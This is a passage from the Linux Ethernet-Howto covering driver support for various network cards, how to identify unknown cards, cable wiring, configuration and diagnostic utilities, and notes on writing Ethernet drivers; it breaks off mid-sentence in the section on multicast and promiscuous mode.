For v1.2 kernels, the card had to be configured for shared memory operation. However v2.0 kernels can use the card in shared memory or programmed I/O mode. Shared memory mode will be slightly faster, and use less CPU resources as well.

SMC EtherPower PCI (8432)

Status: Supported, Driver Name: de4x5, tulip

NB: The EtherPower II is an entirely different card. See below! These cards are a basic DEC 21040 implementation, i.e. one big chip and a couple of transceivers. Donald has used one of these cards for his development of the generic 21040 driver (aka tulip.c). Thanks to Duke Kamstra, once again, for supplying a card to do development on.

Some of the later revisons of this card use the newer DEC 21041 chip, which may cause problems with older versions of the tulip driver. If you have problems, make sure you are using the latest driver release, which may not yet be included in the current kernel source tree.

See DEC 21040 for more details on using one of these cards, and the current status of the driver.

Apparently, the latest revision of the card, the EtherPower-II uses the 9432 chip. It is unclear at the moment if this one will work with the present driver. As always, if unsure, check that you can return the card if it doesn't work with the linux driver before paying for the card.

SMC EtherPower II PCI (9432)

Status: Semi-Supported, Driver Name: epic100

These cards, based upon the SMC 83c170 chip, are entirely different than the Tulip based cards. A new driver has been included in kernels v2.0 and v2.2 to support these cards. For more details, see:

http://www.scyld.com/linux/drivers/epic100.html

SMC 1211TX 10/100

Status: Semi-Supported, Driver Name: rtl8139

Apparently SMC is no longer the same company that brought you cards like the Ultra and the EPIC. The chip design part is now called SMSC and you will see the SMC name stuck on low end OEM boards like this one - a RealTek 8139 with a modified EEPROM.

SMC 3008

Status: Not Supported.

These 8 bit cards are based on the Fujitsu MB86950, which is an ancient version of the MB86965 used in the Linux at1700 driver. Russ says that you could probably hack up a driver by looking at the at1700.c code and his DOS packet driver for the Tiara card (tiara.asm). They are not very common.

SMC 3016

Status: Not Supported.

These are 16bit I/O mapped 8390 cards, much similar to a generic NE2000 card. If you can get the specifications from SMC, then porting the NE2000 driver would probably be quite easy. They are not very common.

SMC-9000 / SMC 91c92/4

Status: Supported, Driver Name: smc9194

The SMC9000 is a VLB card based on the 91c92 chip. The 91c92 appears on a few other brand cards as well, but is fairly uncommon.

SMC 91c100

Status: Semi-Supported, Driver Name: smc9194

The SMC 91c92 driver is supposed to work for cards based on this 100Base-T chip, but at the moment this is unverified.

4.36 Texas Instruments

ThunderLAN

Status: Supported, Driver Name: tlan

This driver covers many Compaq built-in ethernet devices, including the NetFlex and Netelligent groups. It also supports the Olicom 2183, 2185, 2325 and 2326 products.

4.37 Thomas Conrad

Thomas Conrad TC-5048

This is yet another PCI card that is based on DEC's 21040 chip.

See the section on the 21040 chip ( DEC 21040) for more information.

4.38 VIA

You probably won't see a VIA networking card, as VIA make several networking chips that are then used by others in the construction of an ethernet card. They have a WWW site at:

http://www.via.com.tw/

VIA 86C926 Amazon

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

This controller chip is VIA's PCI-NE2000 offering. You can choose between the ISA/PCI ne.c driver or the PCI-only ne2k-pci.c driver. See the PCI-NE2000 section for more details.

VIA 86C100A Rhine II (and 3043 Rhine I)

Status Supported, Driver Name: via-rhine

This relatively new driver can be found in current 2.0 and 2.1 kernels. It is an improvement over the 86C926 NE2000 chip in that it supports bus master transfers, but strict 32 bit buffer alignment requirements limit the benefit gained from this. For more details and driver updates, see:

http://www.scyld.com/linux/drivers/via-rhine.html

4.39 Western Digital

Please see SMC for information on SMC cards. (SMC bought out Western Digital's network card section many years ago.)

4.40 Winbond

Winbond don't really make and sell complete cards to the general public -- instead they make single chip ethernet solutions that other companies buy, stick onto a PCI board with their own name and then sell through retail stores. Some setup programs and tech support is available at:

http://www.winbond.com.tw

Winbond 89c840

Status: Semi-Supported, Driver Name: winbond-840

This chip has been described as `the mutant spawn of a NE2000 and a Tulip clone' -- see the driver notes for more details. The driver isn't currently shipped with the kernel, as it is in the testing phase (as of Sept 1998). It is available at:

http://www.scyld.com/linux/drivers/test/winbond-840.c

Winbond 89c904, 89c905, 89c906

Status: Supported, Driver Name: ne (+8390)

These are Winbond's ISA 10Mbps ne2000 compatible ethernet chips. Setup programs are available at the Winbond site.

Winbond 89c940

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

This chip is one of the two commonly found on the low price PCI ne2000 cards sold by lots of manufacturers. Note that this is still a 10+ year old design just glued onto a PCI bus. Performance won't be staggeringly better than the equivalent ISA model.

4.41 Xircom

For the longest time, Xircom wouldn't release the programming information required to write a driver, unless you signed your life away. Apparently enough linux users have pestered them for driver support (they claim to support all popular networking operating systems...) so that they have changed their policy to allow documentation to be released without having to sign a non-disclosure agreement. Some people have said they they will release the source code to the SCO driver, while others have been told that they are no longer providing information on `obsolete' products like the earlier PE models. If you are interested and want to check into this yourself, you can reach Xircom at 1-800-874-7875, 1-800-438-4526 or +1-818-878-7600.

Xircom PE1, PE2, PE3-10B*

Status: Not Supported.

Not to get your hopes up, but if you have one of these parallel port adaptors, you may be able to use it in the DOS emulator with the Xircom-supplied DOS drivers. You will have to allow DOSEMU access to your parallel port, and will probably have to play with SIG (DOSEMU's Silly Interrupt Generator).

Xircom PCMCIA Cards

Status: Semi-Supported, Driver Name: ????

Some of the Xircom PCMCIA card(s) have drivers that are available with David Hinds PCMCIA package. Check there for the most up to date indformation

4.42 Zenith

Z-Note

Status: Supported, Driver Name: znet

The built-in Z-Note network adaptor is based on the Intel i82593 using two DMA channels. There is an (alpha?) driver available in the present kernel version. As with all notebook and pocket adaptors, it is under the `Pocket and portable adaptors' section when running make config. Also note that the IBM ThinkPad 300 is compatible with the Z-Note.

4.43 Znyx

Znyx ZX342 (DEC 21040 based)

Status: Supported, Driver Name: de4x5, tulip

You have a choice of two drivers for cards based on this chip. There is the DE425 driver written by David, and the generic 21040 driver that Donald has written.

Note that as of 1.1.91, David has added a compile time option that may allow non-DEC cards (such as the Znyx cards) to work with this driver. Have a look at README.de4x5 for details.

See DEC 21040 for more information on these cards, and the present driver situation.

4.44 Identifying an Unknown Card

Okay, so your uncle's cousin's neighbour's friend had a brother who found an old ISA ethernet card in the AT case he was using as a cage for his son's pet hampster. Somehow you ended up with the card and want to try and use it with linux, but nobody has a clue what the card is and there isn't any documentation.

First of all, look for any obvious model numbers that might give a clue. Any model number that contains 2000 will most likely be a NE2000 clone. Any cards with 8003 or 8013 on them somewhere will be Western/Digital WD80x3 cards or SMC Elite cards or clones of them.

Identifying the Network Interface Controller

Look for the biggest chip on the card. This will be the network controller (NIC) itself, and most can be identified by the part number. If you know which NIC is on the card, the following might be able to help you figure out what card it is.

Probably still the most common NIC is the National Semiconductor DP8390 aka NS32490 aka DP83901 aka DP83902 aka DP83905 aka DP83907. And those are just the ones made by National! Other companies such as Winbond and UMC make DP8390 and DP83905 clone parts, such as the Winbond 89c904 (DP83905 clone) and the UMC 9090. If the card has some form of 8390 on it, then chances are it is a ne1000 or ne2000 clone card. The second most common 8390 based card are wd80x3 cards and clones. Cards with a DP83905 can be configured to be an ne2000 or a wd8013. Never versions of the genuine wd80x3 and SMC Elite cards have an 83c690 in place of the original DP8390. The SMC Ultra cards have an 83c790, and use a slightly different driver than the wd80x3 cards. The SMC EtherEZ cards have an 83c795, and use the same driver as the SMC Ultra. All BNC cards based on some sort of 8390 or 8390 clone will usually have an 8392 (or 83c692, or ???392) 16 pin DIP chip very close to the BNC connector.

Another common NIC found on older cards is the Intel i82586. Cards having this NIC include the 3c505, 3c507, 3c523, Intel EtherExpress-ISA, Microdyne Exos-205T, and the Racal-Interlan NI5210.

The original AMD LANCE NIC was numbered AM7990, and newer revisions include the 79c960, 79c961, 79c965, 79c970, and 79c974. Most cards with one of the above will work with the Linux LANCE driver, with the exception of the old Racal-Interlan NI6510 cards that have their own driver.

Newer PCI cards having a DEC 21040, 21041, 21140, or similar number on the NIC should be able to use the linux tulip or de4x5 driver.

Other PCI cards having a big chip marked RTL8029 or 89C940 or 86C926 are ne2000 clone cards, and the ne driver in linux version v2.0 and up should automatically detect these cards at boot.

Identifying the Ethernet Address

Each ethernet card has its own six byte address that is unique to that card. The first three bytes of that address are the same for each card made by that particular manufacturer. For example all SMC cards start with 00:00:c0. The last three are assigned by the manufacturer uniquely to each individual card as they are produced.

If your card has a sticker on it giving all six bits of its address, you can look up the vendor from the first three. However it is more common to see only the last three bytes printed onto a sticker attached to a socketed PROM, which tells you nothing.

You can determine which vendors have which assigned addresses from RFC-1340. Apparently there is a more up to date listing available in various places as well. Try a WWW or FTP search for EtherNet-codes or Ethernet-codes and you will find something.

Identifying the Card by the FCC ID Number

As part of the certification process a card typically has to pass before being sold to the user, it gets tested by the FCC, and from this gets a FCC ID which is supposed to be printed on the card somewhere. For example, a card has on it FCC ID: J158013EWC - and this card happens to be a SMC/WD8013-EWC. Some web sites like www.driverguide.com and drdriver.com make use of listings of FCC IDs that may help with less obvious ID numbers.

Tips on Trying to Use an Unknown Card

If you are still not sure what the card is, but have at least narrowed it down some, then you can build a kernel with a whole bunch of drivers included, and see if any of them autodetect the card at boot.

If the kernel doesn't detect the card, it may be that the card is not configured to one of the addresses that the driver probes when looking for a card. In this case, you might want to try getting scanport.tar.gz from your local linux ftp site, and see if that can locate where your card is jumpered for. It scans ISA I/O space from 0x100 to 0x3ff looking for devices that aren't registered in /proc/ioports. If it finds an unknown device starting at some particular address, you can then explicity point the ethernet probes at that address with an ether= boot argument.

If you manage to get the card detected, you can then usually figure out the unknown jumpers by changing them one at a time and seeing at what I/O base and IRQ that the card is detected at. The IRQ settings can also usually be determined by following the traces on the back of the card to where the jumpers are soldered through. Counting the `gold fingers' on the backside, from the end of the card with the metal bracket, you have IRQ 9, 7, 6, 5, 4, 3, 10, 11, 12, 15, 14 at fingers 4, 21, 22, 23, 24, 25, 34, 35, 36, 37, 38 respectively. Eight bit cards only have up to finger 31.

Jumpers that appear to do nothing usually are for selecting the memory address of an optional boot ROM. Other jumpers that are located near the BNC or RJ-45 or AUI connectors are usually to select the output media. These are also typically near the `black box' voltage converters marked YCL, Valor, or Fil-Mag.

A nice collection of jumper settings for various cards can be found at the following URL:

Ethercard Settings

4.45 Drivers for Non-Ethernet Devices

There are a few other drivers that are in the linux source that present an ethernet-like device to network programs, while not really being ethernet. These are briefly listed here for completeness.

dummy.c - The purpose of this driver is to provide a device to point a route through, but not to actually transmit packets.

eql.c - Load Equalizer, enslaves multiple devices (usually modems) and balances the Tx load across them while presenting a single device to the network programs.

ibmtr.c - IBM Token Ring, which is not really ethernet. Broken-Ring requires source routing and other uglies.

loopback.c - Loopback device, for which all packets from your machine and destined for your own machine go. It essentially just moves the packet off the Tx queue and onto the Rx queue.

pi2.c - Ottawa Amateur Radio Club PI and PI2 interface.

plip.c - Parallel Line Internet Protocol, allows two computers to send packets to each other over two joined parallel ports in a point-to-point fashion.

ppp.c - Point-to-Point Protocol (RFC1331), for the Transmission of Multi-protocol Datagrams over a Point-to-Point Link (again usually modems).

slip.c - Serial Line Internet Protocol, allows two computers to send packets to each other over two joined serial ports (usually via modems) in a point-to-point fashion.

tunnel.c - Provides an IP tunnel through which you can tunnel network traffic transparently across subnets

wavelan.c - An Ethernet-like radio transceiver controlled by the Intel 82586 coprocessor which is used on other ethercards such as the Intel EtherExpress.


Linux Ethernet-Howto: Cables, Coax, Twisted Pair

 Next Previous Contents

5. Cables, Coax, Twisted Pair

If you are starting a network from scratch, you will have to decide whether to use thin ethernet (RG58 co-ax cable with BNC connectors) or 10baseT (twisted pair telco-style cables with RJ-45 eight wire `phone' connectors). The old-fashioned thick ethernet, RG-5 cable with N connectors is obsolete and rarely seen anymore.

See Type of cable... for an introductory look at cables. Also note that the FAQ from comp.dcom.lans.ethernet has a lot of useful information on cables and such. FTP to rtfm.mit.edu and look in /pub/usenet-by-hierarchy/ for the FAQ for that newsgroup.

5.1 Thin Ethernet (thinnet)

Thin ethernet cable is pretty inexpensive. If you are making your own cables solid-core RG58A is $0.27/m. and stranded RG58AU is $0.45/m. Twist-on BNC connectors are < $2 ea., and other misc. pieces are similarly inexpensive. It is essential that you properly terminate each end of the cable with 50 ohm terminators, so budget $2 ea. for a pair. It's also vital that your cable have no `stubs' -- the `T' connectors must be attached directly to the ethercards.

There are two main drawbacks to using thinnet. The first is that it is limited to 10Mb/sec - 100Mb/sec requires twisted pair. The second drawback is that if you have a big loop of machines connected together, and some bonehead breaks the loop by taking one cable off the side of his tee, the whole network goes down because it sees an infinite impedance (open circuit) instead of the required 50 ohm termination. Note that you can remove the tee piece from the card itself without killing the whole subnet, as long as you don't remove the cables from the tee itself. Of course this will disturb the machine that you pull the actual tee off of. 8-) And if you are doing a small network of two machines, you still need the tees and the 50 ohm terminators -- you can't just cable them together!

There are also some fancy cable systems which look like a single lead going to the card, but the lead is actually two runs of cable laying side-by-side covered by an outer sheath, giving the lead an oval shaped cross-section. At the turnaround point of the loop, a BNC connector is spliced in which connects to your card. So you have the equivalent of two runs of cable and a BNC T, but in this case, it is impossible for the user to remove a cable from one side of the T and disturb the network.

5.2 Twisted Pair

Twisted pair networks require active hubs, which start around $50, and the raw cable cost can actually be higher than thinnet. You can pretty much ignore claims that you can use your existing telephone wiring as it is a rare installation where that turns out to be the case.

On the other hand, all 100Mb/sec ethernet proposals use twisted pair, and most new business installations use twisted pair. Also, Russ Nelson adds that `New installations should use Category 5 wiring. Anything else is a waste of your installer's time, as 100Base-whatever is going to require Cat 5.'

If you are only connecting two machines, it is possible to avoid using a hub, by swapping the Rx and Tx pairs (1-2 and 3-6).

If you hold the RJ-45 connector facing you (as if you were going to plug it into your mouth) with the lock tab on the top, then the pins are numbered 1 to 8 from left to right. The pin usage is as follows:

        Pin Number              Assignment
        ----------              ----------
        1                       Output Data (+)
        2                       Output Data (-)
        3                       Input Data (+)
        4                       Reserved for Telephone use
        5                       Reserved for Telephone use
        6                       Input Data (-)
        7                       Reserved for Telephone use
        8                       Reserved for Telephone use

If you want to make a cable, the following should spell it out for you. Differential signal pairs must be on the same twisted pair to get the required minimal impedance/loss of a UTP cable. If you look at the above table, you will see that 1+2 and 3+6 are the two sets of differential signal pairs. Not 1+3 and 2+6 !!!!!! At 10MHz, with short lengths, you *may* get away with such errors, if it is only over a short length. Don't even think about it at 100MHz.

For a normal patch cord, with ends `A' and `B', you want straight through pin-to-pin mapping, with the input and output each using a pair of twisted wires (for impedance issues). That means 1A goes to 1B, 2A goes to 2B, 3A goes to 3B and 6A goes to 6B. The wires joining 1A-1B and 2A-2B must be a twisted pair. Also the wires joining 3A-3B and 6A-6B must be another twisted pair.

Now if you don't have a hub, and want to make a `null cable', what you want to do is make the input of `A' be the output of `B' and the output of `A' be the input of `B', without changing the polarity. Tha means connecting 1A to 3B (out+ A to in+ B) and 2A to 6B (out- A to in- B). These two wires must be a twisted pair. They carry what card/plug `A' considers output, and what is seen as input for card/plug `B'. Then connect 3A to 1B (in+ A to out+ B) and also connect 6A to 2B (in- A to out- B). These second two must also be a twisted pair. They carry what card/plug `A' considers input, and what card/plug `B' considers output.

So, if you consider a normal patch cord, chop one end off of it, swap the places of the Rx and Tx twisted pairs into the new plug, and crimp it down, you then have a `null' cable. Nothing complicated. You just want to feed the Tx signal of one card into the Rx of the second and vice versa.

Note that before 10BaseT was ratified as a standard, there existed other network formats using RJ-45 connectors, and the same wiring scheme as above. Examples are SynOptics's LattisNet, and AT&T's StarLAN. In some cases, (as with early 3C503 cards) you could set jumpers to get the card to talk to hubs of different types, but in most cases cards designed for these older types of networks will not work with standard 10BaseT networks/hubs. (Note that if the cards also have an AUI port, then there is no reason as to why you can't use that, combined with an AUI to 10BaseT transceiver.)

5.3 Thick Ethernet

Thick ethernet is mostly obsolete, and is usually used only to remain compatible with an existing implementation. You can stretch the rules and connect short spans of thick and thin ethernet together with a passive $3 N-to-BNC connector, and that's often the best solution to expanding an existing thicknet. A correct (but expensive) solution is to use a repeater in this case.


Linux Ethernet-Howto: Software Configuration and Card Diagnostics

 Next Previous Contents

6. Software Configuration and Card Diagnostics

In most cases, if the configuration is done by software, and stored in an EEPROM, you will usually have to boot DOS, and use the vendor supplied DOS program to set the cards IRQ, I/O, mem_addr and whatnot. Besides, hopefully it is something you will only be setting once. If you don't have the DOS software for your card, try looking on the WWW site of your card manufacturer. If you don't know the site name, take a guess at it, i.e. `www.my_vendor.com' where `my_vendor' is the name of your card manufacturer. This works for SMC, 3Com, and many many other manufacturers.

There are some cards for which Linux versions of the config utils exist, and they are listed here. Donald has written a few small card diagnostic programs that run under Linux. Most of these are a result of debugging tools that he has created while writing the various drivers. Don't expect fancy menu-driven interfaces. You will have to read the source code to use most of these. Even if your particular card doesn't have a corresponding diagnostic, you can still get some information just by typing cat /proc/net/dev -- assuming that your card was at least detected at boot.

In either case, you will have to run most of these programs as root (to allow I/O to the ports) and you probably want to shut down the ethercard before doing so by typing ifconfig eth0 down first.

6.1 Configuration Programs for Ethernet Cards

WD80x3 Cards

For people with wd80x3 cards, there is the program wdsetup which can be found in wdsetup-0.6a.tar.gz on Linux ftp sites. It is not being actively maintained, and has not been updated for quite a while. If it works fine for you then great, if not, use the DOS version that you should have got with your card. If you don't have the DOS version, you will be glad to know that the SMC setup/driver disks are available at SMC's ftp site. Of course, you have to have an EEPROM card to use this utility. Old, old wd8003 cards, and some wd8013 clones use jumpers to set up the card instead.

Digital / DEC Cards

The Digital EtherWorks 3 card can be configured in a similar fashion to the DOS program NICSETUP.EXE. David C. Davies wrote this and other tools for the EtherWorks 3 in conjunction with the driver. Look on you local linux FTP site in the directory /pub/linux/system/Network/management for the file that is named ewrk3tools-X.XX.tar.gz.

NE2000+ or AT/LANTIC Cards

Some Nat Semi DP83905 implementations (such as the AT/LANTIC and the NE2000+) are software configurable. (Note that these cards can also emulate a wd8013 card!) You can get the file /pub/linux/setup/atlantic.c from Donald's ftp server, www.scyld.com to configure this card. In addition, the configuration programs for the Kingston DP83905 cards seem to work with all cards, as they don't check for a vendor specific address before allowing you to use them. Follow the following URL: Kingston Software and get 20XX12.EXE and INFOSET.EXE.

Be careful when configuring NE2000+ cards, as you can give them bad setting values which can cause problems. A typical example is accidentally enabling the boot ROM in the EEPROM (even if no ROM is installed) to a setting that conflicts with the VGA card. The result is a computer that just beeps at you when you turn it on and nothing appears on the screen.

You can typically recover from this by doing the following: Remove the card from the machine, and then boot and enter the CMOS setup. Change the `Display Adapter' to `Not Installed' and change the default boot drive to `A:' (your floppy drive). Also change the `Wait for F1 if any Error' to `Disabled'. This way, the computer should boot without user intervention. Now create a bootable DOS floppy (`format a: /s /u') and copy the program default.exe from the 20XX12.EXE archive above onto that floppy. Then type echo default > a:autoexec.bat so that the program to set the card back to sane defaults will be run automatically when you boot from this floppy. Shut the machine off, re-install the ne2000+ card, insert your new boot floppy, and power it back up. It will still probably beep at you, but eventually you should see the floppy light come on as it boots from the floppy. Wait a minute or two for the floppy to stop, indicating that it has finished running the default.exe program, and then power down your computer. When you then turn it on again, you should hopefully have a working display again, allowing you to change your CMOS settings back, and to change the card's EEPROM settings back to the values you want.

Note that if you don't have DOS handy, you can do the whole method above with a linux boot disk that automatically runs Donald's atlantic program (with the right command line switches) instead of a DOS boot disk that automatically runs the default.exe program.

3Com Cards

The 3Com Etherlink III family of cards (i.e. 3c5x9) can be configured by using another config utility from Donald. You can get the file 3c5x9setup.c from Donald's ftp server, www.scyld.com to configure these cards. (Note that the DOS 3c5x9B config utility may have more options pertaining to the new ``B'' series of the Etherlink III family.)

6.2 Diagnostic Programs for Ethernet Cards

Any of the diagnostic programs that Donald has written can be obtained from his website.

Ethercard Diagnostics

Allied Telesis AT1700 -- at1700.c

Cabletron E21XX -- e21.c

HP PCLAN+ -- hp+.c

Intel EtherExpress -- eexpress.c

PCI NE2000 cards -- ne2k-pci-diag.c

ISA NE2000 cards -- ne2k.c

RealTek (ATP) Pocket adaptor atp-diag.c

All Other Cards -- try typing cat /proc/net/dev and dmesg to see what useful info the kernel has on the card in question.


Linux Ethernet-Howto: Technical Information

 Next Previous Contents

7. Technical Information

For those who want to understand a bit more about how the card works, or play with the present drivers, or even try to make up their own driver for a card that is presently unsupported, this information should be useful. If you do not fall into this category, then perhaps you will want to skip this section.

7.1 Programmed I/O vs. Shared Memory vs. DMA

If you can already send and receive back-to-back packets, you just can't put more bits over the wire. Every modern ethercard can receive back-to-back packets. The Linux DP8390 drivers (wd80x3, SMC-Ultra, 3c503, ne2000, etc) come pretty close to sending back-to-back packets (depending on the current interrupt latency) and the 3c509 and AT1500 hardware have no problem at all automatically sending back-to-back packets.

Programmed I/O (e.g. NE2000, 3c509)

Pro: Doesn't use any constrained system resources, just a few I/O registers, and has no 16M limit.

Con: Usually the slowest transfer rate, the CPU is waiting the whole time, and interleaved packet access is usually difficult to impossible.

Shared memory (e.g. WD80x3, SMC-Ultra, 3c503)

Pro: Simple, faster than programmed I/O, and allows random access to packets. Where possible, the linux drivers compute the checksum of incoming IP packets as they are copied off the card, resulting in a further reduction of CPU usage vs. an equivalent PIO card.

Con: Uses up memory space (a big one for DOS users, essentially a non-issue under Linux), and it still ties up the CPU.

Slave (normal) Direct Memory Access (e.g. none for Linux!)

Pro: Frees up the CPU during the actual data transfer.

Con: Checking boundary conditions, allocating contiguous buffers, and programming the DMA registers makes it the slowest of all techniques. It also uses up a scarce DMA channel, and requires aligned low memory buffers.

Bus Master Direct Memory Access (e.g. LANCE, DEC 21040)

Pro: Frees up the CPU during the data transfer, can string together buffers, can require little or no CPU time lost on the ISA bus. Most of the bus-mastering linux drivers now use a `copybreak' scheme where large packets are put directly into a kernel networking buffer by the card, and small packets are copied by the CPU which primes the cache for subsequent processing.

Con: (Only applicable to ISA bus cards) Requires low-memory buffers and a DMA channel for cards. Any bus-master will have problems with other bus-masters that are bus-hogs, such as some primitive SCSI adaptors. A few badly-designed motherboard chipsets have problems with bus-masters. And a reason for not using any type of DMA device is using a 486 processor designed for plug-in replacement of a 386: these processors must flush their cache with each DMA cycle. (This includes the Cx486DLC, Ti486DLC, Cx486SLC, Ti486SLC, etc.)

7.2 Performance Implications of Bus Width

The ISA bus can do 5.3MB/sec (42Mb/sec), which sounds like more than enough for 10Mbps ethernet. In the case of the 100Mbps cards, you clearly need a faster bus to take advantage of the network bandwidth.

ISA Eight bit vs ISA 16 bit Cards

You probably can't buy a new 8 bit ISA ethercard anymore, but you will find lots of them turning up at computer swap meets and the like for the next few years, at very low prices. This will make them popular for ``home-ethernet'' systems. The above holds true for 16 bit ISA cards now as well, since PCI cards are now very common.

Some 8 bit cards that will provide adequate performance for light to average use are the wd8003, the 3c503 and the ne1000. The 3c501 provides poor performance, and these poor 12 year old relics of the XT days should be avoided. (Send them to Alan, he collects them...)

The 8 bit data path doesn't hurt performance that much, as you can still expect to get about 500 to 800kB/s ftp download speed to an 8 bit wd8003 card (on a fast ISA bus) from a fast host. And if most of your net-traffic is going to remote sites, then the bottleneck in the path will be elsewhere, and the only speed difference you will notice is during net activity on your local subnet.

7.3 32 Bit (VLB/EISA/PCI) Ethernet Cards

Note that a 10Mbs network typically doesn't justify requiring a 32 bit interface. See Programmed I/O vs. ... as to why having a 10Mbps ethercard on an 8MHz ISA bus is really not a bottleneck. Even though having the ethercard on a fast bus won't necessarily mean faster transfers, it will usually mean reduced CPU overhead, which is good for multi-user systems. Of course for 100Mbps networks, which are now commonplace, the 32 bit interface is a must to make use of the full bandwidth.

7.4 Writing a Driver

The only thing that one needs to use an ethernet card with Linux is the appropriate driver. For this, it is essential that the manufacturer will release the technical programming information to the general public without you (or anyone) having to sign your life away. A good guide for the likelihood of getting documentation (or, if you aren't writing code, the likelihood that someone else will write that driver you really, really need) is the availability of the Crynwr (nee Clarkson) packet driver. Russ Nelson runs this operation, and has been very helpful in supporting the development of drivers for Linux. Net-surfers can try this URL to look up Russ' software.

Russ Nelson's Packet Drivers

Given the documentation, you can write a driver for your card and use it for Linux (at least in theory). Keep in mind that some old hardware that was designed for XT type machines will not function very well in a multitasking environment such as Linux. Use of these will lead to major problems if your network sees a reasonable amount of traffic.

Most cards come with drivers for MS-DOS interfaces such as NDIS and ODI, but these are useless for Linux. Many people have suggested directly linking them in or automatic translation, but this is nearly impossible. The MS-DOS drivers expect to be in 16 bit mode and hook into `software interrupts', both incompatible with the Linux kernel. This incompatibility is actually a feature, as some Linux drivers are considerably better than their MS-DOS counterparts. The `8390' series drivers, for instance, use ping-pong transmit buffers, which are only now being introduced in the MS-DOS world.

(Ping-pong Tx buffers means using at least 2 max-size packet buffers for Tx packets. One is loaded while the card is transmitting the other. The second is then sent as soon as the first finished, and so on. In this way, most cards are able to continuously send back-to-back packets onto the wire.)

OK. So you have decided that you want to write a driver for the Foobar Ethernet card, as you have the programming information, and it hasn't been done yet. (...these are the two main requirements ;-) You should start with the skeleton network driver that is provided with the Linux kernel source tree. It can be found in the file linux/drivers/net/skeleton.c in all recent kernels. In 2.4.x (and newer) kernels it has been renamed to isa-skeleton.c Also have a look at the Kernel Hackers Guide, at the following URL: KHG

7.5 Driver interface to the kernel

Here are some notes on the functions that you would have to write if creating a new driver. Reading this in conjunction with the above skeleton driver may help clear things up.

Probe

Called at boot to check for existence of card. Best if it can check un-obtrsively by reading from memory, etc. Can also read from I/O ports. Initial writing to I/O ports in a probe is not good as it may kill another device. Some device initialization is usually done here (allocating I/O space, IRQs,filling in the dev->??? fields etc.) You need to know what io ports/mem the card can be configured to, how to enable shared memory (if used) and how to select/enable interrupt generation, etc.

Interrupt handler

Called by the kernel when the card posts an interrupt. This has the job of determining why the card posted an interrupt, and acting accordingly. Usual interrupt conditions are data to be rec'd, transmit completed, error conditions being reported. You need to know any relevant interrupt status bits so that you can act accordingly.

Transmit function

Linked to dev->hard_start_xmit() and is called by the kernel when there is some data that the kernel wants to put out over the device. This puts the data onto the card and triggers the transmit. You need to know how to bundle the data and how to get it onto the card (shared memory copy, PIO transfer, DMA?) and in the right place on the card. Then you need to know how to tell the card to send the data down the wire, and (possibly) post an interrupt when done. When the hardware can't accept additional packets it should set the dev->tbusy flag. When additional room is available, usually during a transmit-complete interrupt, dev->tbusy should be cleared and the higher levels informed with mark_bh(INET_BH).

Receive function

Called by the kernel interrupt handler when the card reports that there is data on the card. It pulls the data off the card, packages it into a sk_buff and lets the kernel know the data is there for it by doing a netif_rx(sk_buff). You need to know how to enable interrupt generation upon Rx of data, how to check any relevant Rx status bits, and how to get that data off the card (again sh mem, PIO, DMA, etc.)

Open function

linked to dev->open and called by the networking layers when somebody does ifconfig eth0 up - this puts the device on line and enables it for Rx/Tx of data. Any special initialization incantations that were not done in the probe sequence (enabling IRQ generation, etc.) would go in here.

Close function (optional)

This puts the card in a sane state when someone does ifconfig eth0 down. It should free the IRQs and DMA channels if the hardware permits, and turn off anything that will save power (like the transceiver).

Miscellaneous functions

Things like a reset function, so that if things go south, the driver can try resetting the card as a last ditch effort. Usually done when a Tx times out or similar. Also a function to read the statistics registers of the card if so equipped.

7.6 Technical information from 3Com

If you are interested in working on drivers for 3Com cards, you can get technical documentation from 3Com. Cameron has been kind enough to tell us how to go about it below:

3Com's Ethernet Adapters are documented for driver writers in our `Technical References' (TRs). These manuals describe the programmer interfaces to the boards but they don't talk about the diagnostics, installation programs, etc that end users can see.

The Interface Products Group marketing department has the TRs to give away. To keep this program efficient, we centralized it in a thing called `CardFacts.' CardFacts is an automated phone system. You call it with a touch-tone phone and it faxes you stuff. To get a TR, call CardFacts at 408-727-7021. Ask it for Developer's Order Form, document number 9070. Have your fax number ready when you call. Fill out the order form and fax it to 408-764-5004. Manuals are shipped by Federal Express 2nd Day Service.

There are people here who think we are too free with the manuals, and they are looking for evidence that the system is too expensive, or takes too much time and effort. So far, 3Com customers have been really good about this, and there's no problem with the level of requests we've been getting. We need your continued cooperation and restraint to keep it that way.

7.7 Notes on AMD PCnet / LANCE Based cards

The AMD LANCE (Local Area Network Controller for Ethernet) was the original offering, and has since been replaced by the `PCnet-ISA' chip, otherwise known as the 79C960. Note that the name `LANCE' has stuck, and some people will refer to the new chip by the old name. Dave Roberts of the Network Products Division of AMD was kind enough to contribute the following information regarding this chip:

`Functionally, it is equivalent to a NE1500. The register set is identical to the old LANCE with the 1500/2100 architecture additions. Older 1500/2100 drivers will work on the PCnet-ISA. The NE1500 and NE2100 architecture is basically the same. Initially Novell called it the 2100, but then tried to distinguish between coax and 10BASE-T cards. Anything that was 10BASE-T only was to be numbered in the 1500 range. That's the only difference.

Many companies offer PCnet-ISA based products, including HP, Racal-Datacom, Allied Telesis, Boca Research, Kingston Technology, etc. The cards are basically the same except that some manufacturers have added `jumperless' features that allow the card to be configured in software. Most have not. AMD offers a standard design package for a card that uses the PCnet-ISA and many manufacturers use our design without change. What this means is that anybody who wants to write drivers for most PCnet-ISA based cards can just get the data-sheet from AMD. Call our literature distribution center at (800)222-9323 and ask for the Am79C960, PCnet-ISA data sheet. It's free.

A quick way to understand whether the card is a `stock' card is to just look at it. If it's stock, it should just have one large chip on it, a crystal, a small IEEE address PROM, possibly a socket for a boot ROM, and a connector (1, 2, or 3, depending on the media options offered). Note that if it's a coax card, it will have some transceiver stuff built onto it as well, but that should be near the connector and away from the PCnet-ISA.'

A note to would-be card hackers is that different LANCE implementations do `restart' in different ways. Some pick up where they left off in the ring, and others start right from the beginning of the ring, as if just initialised.

7.8 Multicast and Promiscuous Mode

Another one of the things Donald has worked on is implementing multicast and promiscuous mode hooks. All of the released (i.e. not ALPHA) ISA drivers now support promiscuous mode.

Donald writes: `I'll start by discussing promiscuous mode, which is conceptually easy to implement. For most hardware you only have to set a register bit, and from then on you get every packet on the wire. Well, it's almost that easy; for some hardware you have to shut the board (potentially dropping a few packet), reconfigure it, and then re-enable the ethercard. OK, so that's easy, so I'll move on something that's not quite so obvious: Multicast. It can be done two ways:

